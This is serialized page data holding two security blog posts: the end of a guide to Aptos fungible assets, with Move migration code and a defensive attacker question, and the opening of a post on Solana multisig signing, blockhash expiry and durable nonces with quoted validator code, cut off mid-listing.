string::utf8(b\"\"),\n);\n[...]\n",[64932],{"type":23,"tag":135,"props":64933,"children":64934},{"__ignoreMap":7},[64935,64950,64970,64987,65043,65064,65084,65104,65134,65161,65168],{"type":23,"tag":139,"props":64936,"children":64937},{"class":141,"line":142},[64938,64942,64946],{"type":23,"tag":139,"props":64939,"children":64940},{"style":259},[64941],{"type":28,"value":1723},{"type":23,"tag":139,"props":64943,"children":64944},{"style":982},[64945],{"type":28,"value":7599},{"type":23,"tag":139,"props":64947,"children":64948},{"style":259},[64949],{"type":28,"value":9783},{"type":23,"tag":139,"props":64951,"children":64952},{"class":141,"line":151},[64953,64957,64961,64966],{"type":23,"tag":139,"props":64954,"children":64955},{"style":259},[64956],{"type":28,"value":60509},{"type":23,"tag":139,"props":64958,"children":64959},{"style":982},[64960],{"type":28,"value":1461},{"type":23,"tag":139,"props":64962,"children":64963},{"style":245},[64964],{"type":28,"value":64965},"create_primary_store_enabled_fungible_asset",{"type":23,"tag":139,"props":64967,"children":64968},{"style":259},[64969],{"type":28,"value":1443},{"type":23,"tag":139,"props":64971,"children":64972},{"class":141,"line":160},[64973,64978,64983],{"type":23,"tag":139,"props":64974,"children":64975},{"style":982},[64976],{"type":28,"value":64977},"    &",{"type":23,"tag":139,"props":64979,"children":64980},{"style":294},[64981],{"type":28,"value":64982},"metadata_object_cref",{"type":23,"tag":139,"props":64984,"children":64985},{"style":259},[64986],{"type":28,"value":1488},{"type":23,"tag":139,"props":64988,"children":64989},{"class":141,"line":169},[64990,64995,64999,65004,65008,65013,65017,65021,65026,65030,65034,65038],{"type":23,"tag":139,"props":64991,"children":64992},{"style":259},[64993],{"type":28,"value":64994},"    option",{"type":23,"tag":139,"props":64996,"children":64997},{"style":982},[64998],{"type":28,"value":1461},{"type":23,"tag":139,"props":65000,"children":65001},{"style":245},[65002],{"type":28,"value":65003},"map",{"type":23,"tag":139,"props":65005,"children":65006},{"style":259},[65007],{"type":28,"value":262},{"type":23,"tag":139,"props":65009,"children":65010},{"style":294},[65011],{"type":28,"value":65012},"coin_supply",{"type":23,"tag":139,"props":65014,"children":65015},{"style":259},[65016],{"type":28,"value":3808},{"type":23,"tag":139,"props":65018,"children":65019},{"style":305},[65020],{"type":28,"value":4586},{"type":23,"tag":139,"props":65022,"children":65023},{"style":259},[65024],{"type":28,"value":65025},">(), ",{"type":23,"tag":139,"props":65027,"children":65028},{"style":982},[65029],{"type":28,"value":8425},{"type":23,"tag":139,"props":65031,"children":65032},{"style":294},[65033],{"type":28,"value":1057},{"type":23,"tag":139,"props":65035,"children":65036},{"style":982},[65037],{"type":28,"value":8425},{"type":23,"tag":139,"props":65039,"children":65040},{"style":259},[65041],{"type":28,"value":65042}," MAX_U128),\n",{"type":23,"tag":139,"props":65044,"children":65045},{"class":141,"line":178},[65046,65051,65055,65059],{"type":23,"tag":139,"props":65047,"children":65048},{"style":294},[65049],{"type":28,"value":65050},"    name",{"type":23,"tag":139,"props":65052,"children":65053},{"style":259},[65054],{"type":28,"value":3808},{"type":23,"tag":139,"props":65056,"children":65057},{"style":305},[65058],{"type":28,"value":4586},{"type":23,"tag":139,"props":65060,"children":65061},{"style":259},[65062],{"type":28,"value":65063},">(),\n",{"type":23,"tag":139,"props":65065,"children":65066},{"class":141,"line":187},[65067,65072,65076,65080],{"type":23,"tag":139,"props":65068,"children":65069},{"style":294},[65070],{"type":28,"value":65071},"    symbol",{"type":23,"tag":139,"props":65073,"children":65074},{"style":259},[65075],{"type":28,"value":3808},{"type":23,"tag":139,"props":65077,"children":65078},{"style":305},[65079],{"type":28,"value":4586},{"type":23,"tag":139,"props":65081,"children":65082},{"style":259},[65083],{"type":28,"value":65063},{"type":23,"tag":139,"props":65085,"children":65086},{"class":141,"line":196},[65087,65092,65096,65100],{"type":23,"tag":139,"props":65088,"children":65089},{"style":294},[65090],{"type":28,"value":65091},"    decimals",{"type":23,"tag":139,"props":65093,"children":65094},{"style":259},[65095],{"type":28,"value":3808},{"type":23,"tag":139,"props":65097,"children":65098},{"style":305},[65099],{"type":28,"value":4586},{"type":23,"tag":139,"props":65101,"children":65102},{"style":259},[65103],{"type":28,"value":65063},{"type":23,"tag":139,"props":65105,"children":65106},{"class":141,"line":205},[65107,65112,65116,65121,65125,65130],{"type":23,"tag":139,"props":65108,"children":65109},{"style":259},[65110],{"type":28,"value":65111},"    string",{"type":23,"tag":139,"props":65113,"children":65114},{"style":982},[65115],{"type":28,"value":1461},{"type":23,"tag":139,"props":65117,"children":65118},{"style":245},[65119],{"type":28,"value":65120},"utf8",{"type":23,"tag":139,"props":65122,"children":65123},{"style":259},[65124],{"type":28,"value":262},{"type":23,"tag":139,"props":65126,"children":65127},{"style":265},[65128],{"type":28,"value":65129},"b\"\"",{"type":23,"tag":139,"props":65131,"children":65132},{"style":259},[65133],{"type":28,"value":4739},{"type":23,"tag":139,"props":65135,"children":65136},{"class":141,"line":214},[65137,65141,65145,65149,65153,65157],{"type":23,"tag":139,"props":65138,"children":65139},{"style":259},[65140],{"type":28,"value":65111},{"type":23,"tag":139,"props":65142,"children":65143},{"style":982},[65144],{"type":28,"value":1461},{"type":23,"tag":139,"props":65146,"children":65147},{"style":245},[65148],{"type":28,"value":65120},{"type":23,"tag":139,"props":65150,"children":65151},{"style":259},[65152],{"type":28,"value":262},{"type":23,"tag":139,"props":65154,"children":65155},{"style":265},[65156],{"type":28,"value":65129},{"type":23,"tag":139,"props":65158,"children":65159},{"style":259},[65160],{"type":28,"value":4739},{"type":23,"tag":139,"props":65162,"children":65163},{"class":141,"line":1320},[65164],{"type":23,"tag":139,"props":65165,"children":65166},{"style":259},[65167],{"type":28,"value":1820},{"type":23,"tag":139,"props":65169,"children":65170},{"class":141,"line":1329},[65171,65175,65179],{"type":23,"tag":139,"props":65172,"children":65173},{"style":259},[65174],{"type":28,"value":1723},{"type":23,"tag":139,"props":65176,"children":65177},{"style":982},[65178],{"type":28,"value":7599},{"type":23,"tag":139,"props":65180,"children":65181},{"style":259},[65182],{"type":28,"value":9783},{"type":23,"tag":24,"props":65184,"children":65185},{},[65186,65188,65193],{"type":28,"value":65187},"When the linked fungible asset was created, the current ",{"type":23,"tag":135,"props":65189,"children":65191},{"className":65190},[],[65192],{"type":28,"value":58866},{"type":28,"value":65194}," supply was incorrectly passed as the maximum fungible asset supply, preventing the minting of additional fungible assets beyond the existing coin circulation.",{"type":23,"tag":24,"props":65196,"children":65197},{},[65198,65200,65205,65207,65213,65215,65220],{"type":28,"value":65199},"Users can manually migrate their ",{"type":23,"tag":135,"props":65201,"children":65203},{"className":65202},[],[65204],{"type":28,"value":59028},{"type":28,"value":65206}," to a primary fungible store. This creates a store for the paired fungible asset (if one doesn’t exist) and removes the ",{"type":23,"tag":135,"props":65208,"children":65210},{"className":65209},[],[65211],{"type":28,"value":65212},"\u003CCoinStore\u003CCoinType>>",{"type":28,"value":65214}," from the caller. All coins in the ",{"type":23,"tag":135,"props":65216,"children":65218},{"className":65217},[],[65219],{"type":28,"value":59028},{"type":28,"value":65221}," are exchanged and transferred to the new store during the migration.",{"type":23,"tag":128,"props":65223,"children":65225},{"className":948,"code":65224,"language":947,"meta":7,"style":7},"/// Voluntarily migrate to fungible store for `CoinType` if not yet.\npublic entry fun migrate_to_fungible_store\u003CCoinType>(\n    account: &signer\n) acquires CoinStore, CoinConversionMap, CoinInfo {\n    maybe_convert_to_fungible_store\u003CCoinType>(signer::address_of(account));\n}\n",[65226],{"type":23,"tag":135,"props":65227,"children":65228},{"__ignoreMap":7},[65229,65237,65269,65289,65325,65366],{"type":23,"tag":139,"props":65230,"children":65231},{"class":141,"line":142},[65232],{"type":23,"tag":139,"props":65233,"children":65234},{"style":958},[65235],{"type":28,"value":65236},"/// Voluntarily migrate to fungible store for `CoinType` if not yet.\n",{"type":23,"tag":139,"props":65238,"children":65239},{"class":141,"line":151},[65240,65244,65248,65252,65257,65261,65265],{"type":23,"tag":139,"props":65241,"children":65242},{"style":294},[65243],{"type":28,"value":59575},{"type":23,"tag":139,"props":65245,"children":65246},{"style":294},[65247],{"type":28,"value":60542},{"type":23,"tag":139,"props":65249,"children":65250},{"style":294},[65251],{"type":28,"value":4210},{"type":23,"tag":139,"props":65253,"children":65254},{"style":294},[65255],{"type":28,"value":65256}," migrate_to_fungible_store",{"type":23,"tag":139,"props":65258,"children":65259},{"style":259},[65260],{"type":28,"value":3808},{"type":23,"tag":139,"props":65262,"children":65263},{"style":305},[65264],{"type":28,"value":4586},{"type":23,"tag":139,"props":65266,"children":65267},{"style":259},[65268],{"type":28,"value":4591},{"type":23,"tag":139,"props":65270,"children":65271},{"class":141,"line":160},[65272,65276,65280,65284],{"type":23,"tag":139,"props":65273,"children":65274},{"style":294},[65275],{"type":28,"value":23192},{"type":23,"tag":139,"props":65277,"children":65278},{"style":982},[65279],{"type":28,"value":2493},{"type":23,"tag":139,"props":65281,"children":65282},{"style":982},[65283],{"type":28,"value":5144},{"type":23,"tag":139,"props":65285,"children":65286},{"style":294},[65287],{"type":28,"value":65288},"signer\n",{"type":23,"tag":139,"props":65290,"children":65291},{"class":141,"line":169},[65292,65296,65300,65304,65308,65313,65317,65321],{"type":23,"tag":139,"props":65293,"children":65294},{"style":259},[65295],{"type":28,"value":1062},{"type":23,"tag":139,"props":65297,"children":65298},{"style":294},[65299],{"type":28,"value":4347},{"type":23,"tag":139,"props":65301,"children":65302},{"style":305},[65303],{"type":28,"value":59049},{"type":23,"tag":139,"props":65305,"children":65306},{"style":259},[65307],{"type":28,"value":1052},{"type":23,"tag":139,"props":65309,"children":65310},{"style":305},[65311],{"type":28,"value":65312},"CoinConversionMap",{"type":23,"tag":139,"props":65314,"children":65315},{"style":259},[65316],{"type":28,"value":1052},{"type":23,"tag":139,"props":65318,"children":65319},{"style":305},[65320],{"type":28,"value":4716},{"type":23,"tag":139,"props":65322,"children":65323},{"style":259},[65324],{"type":28,"value":1268},{"type":23,"tag":139,"props":65326,"children":65327},{"class":141,"line":178},[65328,65333,65337,65341,65346,65350,65354,65358,65362],{"type":23,"tag":139,"props":65329,"children":65330},{"style":294},[65331],{"type":28,"value":65332},"    maybe_convert_to_fungible_store",{"type":23,"tag":139,"props":65334,"children":65335},{"style":259},[65336],{"type":28,"value":3808},{"type":23,"tag":139,"props":65338,"children":65339},{"style":305},[65340],{"type":28,"value":4586},{"type":23,"tag":139,"props":65342,"children":65343},{"style":259},[65344],{"type":28,"value":65345},">(signer",{"type":23,"tag":139,"props":65347,"children":65348},{"style":982},[65349],{"type":28,"value":1461},{"type":23,"tag":139,"props":65351,"children":65352},{"style":245},[65353],{"type":28,"value":5212},{"type":23,"tag":139,"props":65355,"children":65356},{"style":259},[65357],{"type":28,"value":262},{"type":23,"tag":139,"props":65359,"children":65360},{"style":294},[65361],{"type":28,"value":10964},{"type":23,"tag":139,"props":65363,"children":65364},{"style":259},[65365],{"type":28,"value":5226},{"type":23,"tag":139,"props":65367,"children":65368},{"class":141,"line":187},[65369],{"type":23,"tag":139,"props":65370,"children":65371},{"style":259},[65372],{"type":28,"value":1897},{"type":23,"tag":24,"props":65374,"children":65375},{},[65376,65378,65383,65385,65390],{"type":28,"value":65377},"A curious reader might wonder about the fate of the ",{"type":23,"tag":135,"props":65379,"children":65381},{"className":65380},[],[65382],{"type":28,"value":59028},{"type":28,"value":65384}," \"frozen\" status during migration. Unsurprisingly tough, the \"frozen\" status of the primary fungible store is matched to that of the ",{"type":23,"tag":135,"props":65386,"children":65388},{"className":65387},[],[65389],{"type":28,"value":59028},{"type":28,"value":65391}," to ensure consistency.",{"type":23,"tag":64086,"props":65393,"children":65394},{},[65395,65414],{"type":23,"tag":24,"props":65396,"children":65397},{},[65398,65400,65405,65407,65412],{"type":28,"value":65399},"Could an attacker convert their ",{"type":23,"tag":135,"props":65401,"children":65403},{"className":65402},[],[65404],{"type":28,"value":59028},{"type":28,"value":65406}," to a primary fungible store and then register another ",{"type":23,"tag":135,"props":65408,"children":65410},{"className":65409},[],[65411],{"type":28,"value":59028},{"type":28,"value":65413}," only to convert it again to manipulate the \"frozen\" status of the linked primary fungible store?",{"type":23,"tag":64117,"props":65415,"children":65416},{"v-slot:answer-0":7},[65417],{"type":23,"tag":24,"props":65418,"children":65419},{},[65420],{"type":28,"value":65421},"The coin::register function first checks is_account_registered, which exits early if true. is_account_registered determines if the account has a primary fungible store for the linked fungible asset when the CoinStore doesn’t exist. If the fungible store has been converted, a primary fungible store and linked fungible asset will already exist, preventing re-registration.",{"type":23,"tag":41,"props":65423,"children":65424},{"id":26955},[65425],{"type":28,"value":16955},{"type":23,"tag":24,"props":65427,"children":65428},{},[65429,65431,65436],{"type":28,"value":65430},"Aptos's implementation of fungible assets does indeed resolve the original problems with ",{"type":23,"tag":135,"props":65432,"children":65434},{"className":65433},[],[65435],{"type":28,"value":58866},{"type":28,"value":73},{"type":23,"tag":24,"props":65438,"children":65439},{},[65440],{"type":28,"value":65441},"However, this solution comes with its own challenges, in part because of the numerous layers that interact with each other. Before using the fungible asset standard, it's important to understand these different APIs and potential pitfalls.",{"type":23,"tag":24,"props":65443,"children":65444},{},[65445,65447],{"type":28,"value":65446},"As a final exercise to the reader, how many different ways are there to withdraw a fungible asset?",{"type":23,"tag":636,"props":65448,"children":65449},{},[65450],{"type":23,"tag":64,"props":65451,"children":65453},{"href":641,"ariaDescribedBy":65452,"dataFootnoteRef":7,"id":644},[643],[65454],{"type":28,"value":647},{"type":23,"tag":784,"props":65456,"children":65458},{"className":65457,"dataFootnotes":7},[787],[65459,65464],{"type":23,"tag":41,"props":65460,"children":65462},{"className":65461,"id":643},[792],[65463],{"type":28,"value":795},{"type":23,"tag":797,"props":65465,"children":65466},{},[65467],{"type":23,"tag":801,"props":65468,"children":65469},{"id":803},[65470,65472,65514],{"type":28,"value":65471},"There are at least four functions that can withdraw a fungible asset:",{"type":23,"tag":14699,"props":65473,"children":65474},{},[65475,65485,65494,65504],{"type":23,"tag":801,"props":65476,"children":65477},{},[65478],{"type":23,"tag":64,"props":65479,"children":65483},{"href":65480,"rel":65481,":style":65482},"https://github.com/aptos-labs/aptos-core/blob/81a2f4268b9e0f25cb6e1ce5c28bba0a34c27604/aptos-move/framework/aptos-framework/sources/fungible_asset.move#L782",[68],"color: #007bff;",[65484],{"type":28,"value":62167},{"type":23,"tag":801,"props":65486,"children":65487},{},[65488],{"type":23,"tag":64,"props":65489,"children":65492},{"href":65490,"rel":65491,":style":65482},"https://github.com/aptos-labs/aptos-core/blob/main/aptos-move/framework/aptos-framework/sources/dispatchable_fungible_asset.move#L74",[68],[65493],{"type":28,"value":64107},{"type":23,"tag":801,"props":65495,"children":65496},{},[65497],{"type":23,"tag":64,"props":65498,"children":65501},{"href":65499,"rel":65500,":style":65482},"https://github.com/aptos-labs/aptos-core/blob/81a2f4268b9e0f25cb6e1ce5c28bba0a34c27604/aptos-move/framework/aptos-framework/sources/primary_fungible_store.move#L157",[68],[65502],{"type":28,"value":65503},"primary_fungible_store::withdraw",{"type":23,"tag":801,"props":65505,"children":65506},{},[65507],{"type":23,"tag":64,"props":65508,"children":65511},{"href":65509,"rel":65510,":style":65482},"https://github.com/aptos-labs/aptos-core/blob/main/aptos-move/framework/aptos-framework/sources/coin.move#L1091-L1098",[68],[65512],{"type":28,"value":65513},"coin::withdraw",{"type":23,"tag":64,"props":65515,"children":65517},{"href":809,"ariaLabel":810,"className":65516,"dataFootnoteBackref":7},[812],[65518],{"type":28,"value":815},{"type":23,"tag":817,"props":65520,"children":65521},{},[65522],{"type":28,"value":821},{"title":7,"searchDepth":151,"depth":151,"links":65524},[65525,65526,65527,65530,65535,65536,65537,65538],{"id":58852,"depth":151,"text":58855},{"id":59397,"depth":151,"text":59400},{"id":59957,"depth":151,"text":59960,"children":65528},[65529],{"id":60468,"depth":160,"text":60471},{"id":60725,"depth":151,"text":60728,"children":65531},[65532,65533,65534],{"id":60768,"depth":160,"text":60771},{"id":61473,"depth":160,"text":61476},{"id":63131,"depth":160,"text":63134},{"id":63662,"depth":151,"text":63665},{"id":64643,"depth":151,"text":64646},{"id":26955,"depth":151,"text":16955},{"id":643,"depth":151,"text":795},"content:blog:2025-02-10-hitchhikers-guide-to-aptos-fungible-assets.md","blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets.md","blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets",{"_path":65543,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":65544,"description":65545,"date":65546,"author":10,"image":65547,"isFeatured":15,"onBlogPage":15,"tags":65549,"body":65550,"_type":831,"_id":67378,"_source":833,"_file":67379,"_stem":67380,"_extension":836},"/blog/2025-02-22-multisig-security","Solana Multisig Security","What can teams do if their multisig signers are compromised? We explore Solana's transaction signing model and present a procedure for safe signing in the presence of malicious signers on Solana.","2025-02-22",{"src":65548,"width":3388,"height":3389},"/posts/multisig-security/title.png",[848],{"type":20,"children":65551,"toc":67369},[65552,65565,65571,65576,65582,65595,65603,65616,65676,65698,65825,65830,65843,65855,65861,65875,65888,65902,66384,66389,66397,66411,66425,66564,66576,66582,66587,66605,66610,66615,66636,66920,66935,67123,67136,67265,67270,67275,67280,67308,67314,67319,67333,67365],{"type":23,"tag":24,"props":65553,"children":65554},{},[65555,65556,65563],{"type":28,"value":14625},{"type":23,"tag":64,"props":65557,"children":65560},{"href":65558,"rel":65559},"https://www.securityalliance.org/news/2025-02-dprk-advisory",[68],[65561],{"type":28,"value":65562},"Bybit hack",{"type":28,"value":65564}," raises an interesting question: what can teams do if their signers are compromised?",{"type":23,"tag":41,"props":65566,"children":65568},{"id":65567},"solana-signatures",[65569],{"type":28,"value":65570},"Solana Signatures",{"type":23,"tag":24,"props":65572,"children":65573},{},[65574],{"type":28,"value":65575},"We first need to understand how Solana signatures work. There are two ways to sign a Solana transaction.",{"type":23,"tag":666,"props":65577,"children":65579},{"id":65578},"recent-blockhash",[65580],{"type":28,"value":65581},"Recent Blockhash",{"type":23,"tag":24,"props":65583,"children":65584},{},[65585,65587,65594],{"type":28,"value":65586},"The most straightforward is with a \"recent blockhash\". From ",{"type":23,"tag":64,"props":65588,"children":65591},{"href":65589,"rel":65590},"https://solana.com/developers/guides/advanced/confirmation",[68],[65592],{"type":28,"value":65593},"the docs",{"type":28,"value":2493},{"type":23,"tag":90,"props":65596,"children":65597},{},[65598],{"type":23,"tag":24,"props":65599,"children":65600},{},[65601],{"type":28,"value":65602},"During transaction processing, Solana Validators will check if each transaction's recent blockhash is recorded within the most recent 151 stored hashes (aka \"max processing age\"). If the transaction's recent blockhash is older than this max processing age, the transaction is not processed.",{"type":23,"tag":24,"props":65604,"children":65605},{},[65606,65608,65615],{"type":28,"value":65607},"The actual constant ",{"type":23,"tag":64,"props":65609,"children":65612},{"href":65610,"rel":65611},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/sdk/clock/src/lib.rs#L129-L130",[68],[65613],{"type":28,"value":65614},"is defined here",{"type":28,"value":73},{"type":23,"tag":128,"props":65617,"children":65619},{"className":948,"code":65618,"language":947,"meta":7,"style":7},"// The maximum age of a blockhash that will be accepted by the leader\npub const MAX_PROCESSING_AGE: usize = MAX_RECENT_BLOCKHASHES / 2;\n",[65620],{"type":23,"tag":135,"props":65621,"children":65622},{"__ignoreMap":7},[65623,65631],{"type":23,"tag":139,"props":65624,"children":65625},{"class":141,"line":142},[65626],{"type":23,"tag":139,"props":65627,"children":65628},{"style":958},[65629],{"type":28,"value":65630},"// The maximum age of a blockhash that will be accepted by the leader\n",{"type":23,"tag":139,"props":65632,"children":65633},{"class":141,"line":151},[65634,65638,65642,65647,65651,65655,65659,65664,65668,65672],{"type":23,"tag":139,"props":65635,"children":65636},{"style":279},[65637],{"type":28,"value":11701},{"type":23,"tag":139,"props":65639,"children":65640},{"style":279},[65641],{"type":28,"value":37001},{"type":23,"tag":139,"props":65643,"children":65644},{"style":259},[65645],{"type":28,"value":65646}," MAX_PROCESSING_AGE",{"type":23,"tag":139,"props":65648,"children":65649},{"style":982},[65650],{"type":28,"value":2493},{"type":23,"tag":139,"props":65652,"children":65653},{"style":305},[65654],{"type":28,"value":11742},{"type":23,"tag":139,"props":65656,"children":65657},{"style":982},[65658],{"type":28,"value":985},{"type":23,"tag":139,"props":65660,"children":65661},{"style":259},[65662],{"type":28,"value":65663}," MAX_RECENT_BLOCKHASHES ",{"type":23,"tag":139,"props":65665,"children":65666},{"style":982},[65667],{"type":28,"value":2583},{"type":23,"tag":139,"props":65669,"children":65670},{"style":1016},[65671],{"type":28,"value":5938},{"type":23,"tag":139,"props":65673,"children":65674},{"style":259},[65675],{"type":28,"value":995},{"type":23,"tag":24,"props":65677,"children":65678},{},[65679,65681,65688,65690,65696],{"type":28,"value":65680},"For those curious, the logic ",{"type":23,"tag":64,"props":65682,"children":65685},{"href":65683,"rel":65684},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L61",[68],[65686],{"type":28,"value":65687},"starts here",{"type":28,"value":65689}," and is quite straightforward to follow, ending in a ",{"type":23,"tag":135,"props":65691,"children":65693},{"className":65692},[],[65694],{"type":28,"value":65695},"is_hash_index_valid",{"type":28,"value":65697}," check.",{"type":23,"tag":128,"props":65699,"children":65701},{"className":948,"code":65700,"language":947,"meta":7,"style":7},"fn is_hash_index_valid(last_hash_index: u64, max_age: usize, hash_index: u64) -> bool {\n    last_hash_index - hash_index \u003C= max_age as u64\n}\n",[65702],{"type":23,"tag":135,"props":65703,"children":65704},{"__ignoreMap":7},[65705,65784,65818],{"type":23,"tag":139,"props":65706,"children":65707},{"class":141,"line":142},[65708,65712,65717,65721,65726,65730,65734,65738,65743,65747,65751,65755,65760,65764,65768,65772,65776,65780],{"type":23,"tag":139,"props":65709,"children":65710},{"style":279},[65711],{"type":28,"value":18274},{"type":23,"tag":139,"props":65713,"children":65714},{"style":245},[65715],{"type":28,"value":65716}," is_hash_index_valid",{"type":23,"tag":139,"props":65718,"children":65719},{"style":259},[65720],{"type":28,"value":262},{"type":23,"tag":139,"props":65722,"children":65723},{"style":294},[65724],{"type":28,"value":65725},"last_hash_index",{"type":23,"tag":139,"props":65727,"children":65728},{"style":982},[65729],{"type":28,"value":2493},{"type":23,"tag":139,"props":65731,"children":65732},{"style":305},[65733],{"type":28,"value":3862},{"type":23,"tag":139,"props":65735,"children":65736},{"style":259},[65737],{"type":28,"value":1052},{"type":23,"tag":139,"props":65739,"children":65740},{"style":294},[65741],{"type":28,"value":65742},"max_age",{"type":23,"tag":139,"props":65744,"children":65745},{"style":982},[65746],{"type":28,"value":2493},{"type":23,"tag":139,"props":65748,"children":65749},{"style":305},[65750],{"type":28,"value":11742},{"type":23,"tag":139,"props":65752,"children":65753},{"style":259},[65754],{"type":28,"value":1052},{"type":23,"tag":139,"props":65756,"children":65757},{"style":294},[65758],{"type":28,"value":65759},"hash_index",{"type":23,"tag":139,"props":65761,"children":65762},{"style":982},[65763],{"type":28,"value":2493},{"type":23,"tag":139,"props":65765,"children":65766},{"style":305},[65767],{"type":28,"value":3862},{"type":23,"tag":139,"props":65769,"children":65770},{"style":259},[65771],{"type":28,"value":1062},{"type":23,"tag":139,"props":65773,"children":65774},{"style":982},[65775],{"type":28,"value":11768},{"type":23,"tag":139,"props":65777,"children":65778},{"style":305},[65779],{"type":28,"value":10061},{"type":23,"tag":139,"props":65781,"children":65782},{"style":259},[65783],{"type":28,"value":1268},{"type":23,"tag":139,"props":65785,"children":65786},{"class":141,"line":151},[65787,65792,65796,65801,65805,65810,65814],{"type":23,"tag":139,"props":65788,"children":65789},{"style":294},[65790],{"type":28,"value":65791},"    last_hash_index",{"type":23,"tag":139,"props":65793,"children":65794},{"style":982},[65795],{"type":28,"value":49153},{"type":23,"tag":139,"props":65797,"children":65798},{"style":294},[65799],{"type":28,"value":65800}," hash_index",{"type":23,"tag":139,"props":65802,"children":65803},{"style":982},[65804],{"type":28,"value":6201},{"type":23,"tag":139,"props":65806,"children":65807},{"style":294},[65808],{"type":28,"value":65809}," max_age",{"type":23,"tag":139,"props":65811,"children":65812},{"style":279},[65813],{"type":28,"value":6833},{"type":23,"tag":139,"props":65815,"children":65816},{"style":305},[65817],{"type":28,"value":11208},{"type":23,"tag":139,"props":65819,"children":65820},{"class":141,"line":160},[65821],{"type":23,"tag":139,"props":65822,"children":65823},{"style":259},[65824],{"type":28,"value":1897},{"type":23,"tag":24,"props":65826,"children":65827},{},[65828],{"type":28,"value":65829},"One important consequence is that any signed transaction has a natural expiration of around a few minutes.",{"type":23,"tag":90,"props":65831,"children":65832},{},[65833],{"type":23,"tag":24,"props":65834,"children":65835},{},[65836,65838],{"type":28,"value":65837},"Since slots (aka the time period a validator can produce a block) are configured to last about 400ms, but may fluctuate between 400ms and 600ms, ",{"type":23,"tag":56,"props":65839,"children":65840},{},[65841],{"type":28,"value":65842},"a given blockhash can only be used by transactions for about 60 to 90 seconds before it will be considered expired by the runtime.",{"type":23,"tag":24,"props":65844,"children":65845},{},[65846,65848,65853],{"type":28,"value":65847},"This means an attacker ",{"type":23,"tag":659,"props":65849,"children":65850},{},[65851],{"type":28,"value":65852},"must use",{"type":28,"value":65854}," a malicious signed transaction within a short timeframe.",{"type":23,"tag":666,"props":65856,"children":65858},{"id":65857},"durable-nonce",[65859],{"type":28,"value":65860},"Durable Nonce",{"type":23,"tag":24,"props":65862,"children":65863},{},[65864,65866,65873],{"type":28,"value":65865},"The second type of signature ",{"type":23,"tag":64,"props":65867,"children":65870},{"href":65868,"rel":65869},"https://solana.com/developers/guides/advanced/introduction-to-durable-nonces",[68],[65871],{"type":28,"value":65872},"is a durable nonce",{"type":28,"value":65874},". These were created to solve the very feature (or problem) mentioned above: short expiration time.",{"type":23,"tag":90,"props":65876,"children":65877},{},[65878],{"type":23,"tag":24,"props":65879,"children":65880},{},[65881,65883],{"type":28,"value":65882},"durable nonces provide an opportunity to create and sign a transaction that can be submitted at any point in the future, and much more. ",{"type":23,"tag":56,"props":65884,"children":65885},{},[65886],{"type":28,"value":65887},"This opens up a wide range of use cases that are otherwise not possible or too difficult to implement",{"type":23,"tag":24,"props":65889,"children":65890},{},[65891,65893,65900],{"type":28,"value":65892},"If we examine the code ",{"type":23,"tag":64,"props":65894,"children":65897},{"href":65895,"rel":65896},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L104",[68],[65898],{"type":28,"value":65899},"for recent blockhash validation",{"type":28,"value":65901},", we can also see the handling for durable nonces.",{"type":23,"tag":128,"props":65903,"children":65905},{"className":948,"code":65904,"language":947,"meta":7,"style":7},"    let recent_blockhash = tx.message().recent_blockhash();\n    if let Some(hash_info) = hash_queue.get_hash_info_if_valid(recent_blockhash, max_age) {\n        Ok(CheckedTransactionDetails {\n            nonce: None,\n            lamports_per_signature: hash_info.lamports_per_signature(),\n        })\n    } else if let Some((nonce, previous_lamports_per_signature)) = self\n        .check_load_and_advance_message_nonce_account(\n            tx.message(),\n            next_durable_nonce,\n            next_lamports_per_signature,\n        )\n    {\n        Ok(CheckedTransactionDetails {\n            nonce: Some(nonce),\n            lamports_per_signature: previous_lamports_per_signature,\n        })\n    } else {\n        error_counters.blockhash_not_found += 1;\n        Err(TransactionError::BlockhashNotFound)\n    }\n",[65906],{"type":23,"tag":135,"props":65907,"children":65908},{"__ignoreMap":7},[65909,65956,66022,66042,66062,66092,66100,66154,66171,66191,66203,66215,66223,66230,66249,66276,66296,66303,66318,66348,66377],{"type":23,"tag":139,"props":65910,"children":65911},{"class":141,"line":142},[65912,65916,65921,65925,65930,65934,65939,65943,65947,65952],{"type":23,"tag":139,"props":65913,"children":65914},{"style":279},[65915],{"type":28,"value":969},{"type":23,"tag":139,"props":65917,"children":65918},{"style":294},[65919],{"type":28,"value":65920}," recent_blockhash",{"type":23,"tag":139,"props":65922,"children":65923},{"style":982},[65924],{"type":28,"value":985},{"type":23,"tag":139,"props":65926,"children":65927},{"style":294},[65928],{"type":28,"value":65929}," tx",{"type":23,"tag":139,"props":65931,"children":65932},{"style":982},[65933],{"type":28,"value":73},{"type":23,"tag":139,"props":65935,"children":65936},{"style":245},[65937],{"type":28,"value":65938},"message",{"type":23,"tag":139,"props":65940,"children":65941},{"style":259},[65942],{"type":28,"value":11890},{"type":23,"tag":139,"props":65944,"children":65945},{"style":982},[65946],{"type":28,"value":73},{"type":23,"tag":139,"props":65948,"children":65949},{"style":245},[65950],{"type":28,"value":65951},"recent_blockhash",{"type":23,"tag":139,"props":65953,"children":65954},{"style":259},[65955],{"type":28,"value":1656},{"type":23,"tag":139,"props":65957,"children":65958},{"class":141,"line":151},[65959,65963,65967,65971,65975,65980,65984,65988,65993,65997,66002,66006,66010,66014,66018],{"type":23,"tag":139,"props":65960,"children":65961},{"style":319},[65962],{"type":28,"value":10290},{"type":23,"tag":139,"props":65964,"children":65965},{"style":279},[65966],{"type":28,"value":25326},{"type":23,"tag":139,"props":65968,"children":65969},{"style":305},[65970],{"type":28,"value":25331},{"type":23,"tag":139,"props":65972,"children":65973},{"style":259},[65974],{"type":28,"value":262},{"type":23,"tag":139,"props":65976,"children":65977},{"style":294},[65978],{"type":28,"value":65979},"hash_info",{"type":23,"tag":139,"props":65981,"children":65982},{"style":259},[65983],{"type":28,"value":1062},{"type":23,"tag":139,"props":65985,"children":65986},{"style":982},[65987],{"type":28,"value":1067},{"type":23,"tag":139,"props":65989,"children":65990},{"style":294},[65991],{"type":28,"value":65992}," 